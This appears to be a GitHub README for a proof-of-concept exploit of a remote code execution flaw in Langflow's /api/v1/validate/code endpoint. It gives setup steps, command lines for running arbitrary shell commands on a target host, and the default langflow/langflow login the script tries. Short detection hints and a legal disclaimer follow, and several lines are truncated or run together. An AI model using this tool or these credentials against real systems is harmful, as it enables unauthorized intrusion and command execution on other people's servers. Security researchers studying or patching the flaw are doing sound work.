
Langflow Remote Code Execution (RCE) Proof-of-Concept
Remote Code Execution vulnerability in Langflow
This vulnerability affects:
Langflow
CVE-2026-0770 is a Remote Code Execution (RCE) vulnerability in the:
/api/v1/validate/code
endpoint.
When AUTO_LOGIN=true and default credentials are enabled, attackers can:
The issue stems from unsafe Python code evaluation during validation.
git clone https://github.com/0xgh057r3c0n/CVE-2026-0770.git
cd CVE-2026-0770
Make sure Python 3.8+ is installed.
Install dependencies:
pip install requests colorama
python3 -m venv venv
source venv/bin/activate # Linux / macOS
venv\Scripts\activate # Windows
pip install requests colorama
Launch interactive remote command execution:
python3 CVE-2026-0770.py -t http://target:7860
Example:
python3 CVE-2026-0770.py -t http://192.168.1.100:7860
python3 CVE-2026-0770.py -t http://target:7860 -c "id"
Example:
python3 CVE-2026-0770.py -t http://localhost:7860 -c "whoami"
python3 CVE-2026-0770.py -t http://target:7860 -c "ls -la" -v
Shows detailed debugging output.
python3 CVE-2026-0770.py -t http://target:7860 -k "your.jwt.token"
If no token is provided, the script attempts auto-login using:
username: langflow
password: langflow
If successful, it retrieves an access_token and proceeds.
Administrators should:
AUTO_LOGIN/api/v1/validate/codeMonitor for:
Suspicious POST requests to /api/v1/validate/code
Code containing:
__import__subprocessthrow(Exception(Repeated login attempts using default credentials
.
├── CVE-2026-0770.py
├── LICENSE
└── README.md
0xgh057r3c0n 🔗 https://github.com/0xgh057r3c0n
Security Researcher | Exploit Developer | PoC Writer
Distributed under the MIT License. See the full license here:
This project is intended for:
Unauthorized use against systems you do not own or have explicit permission to test is illegal.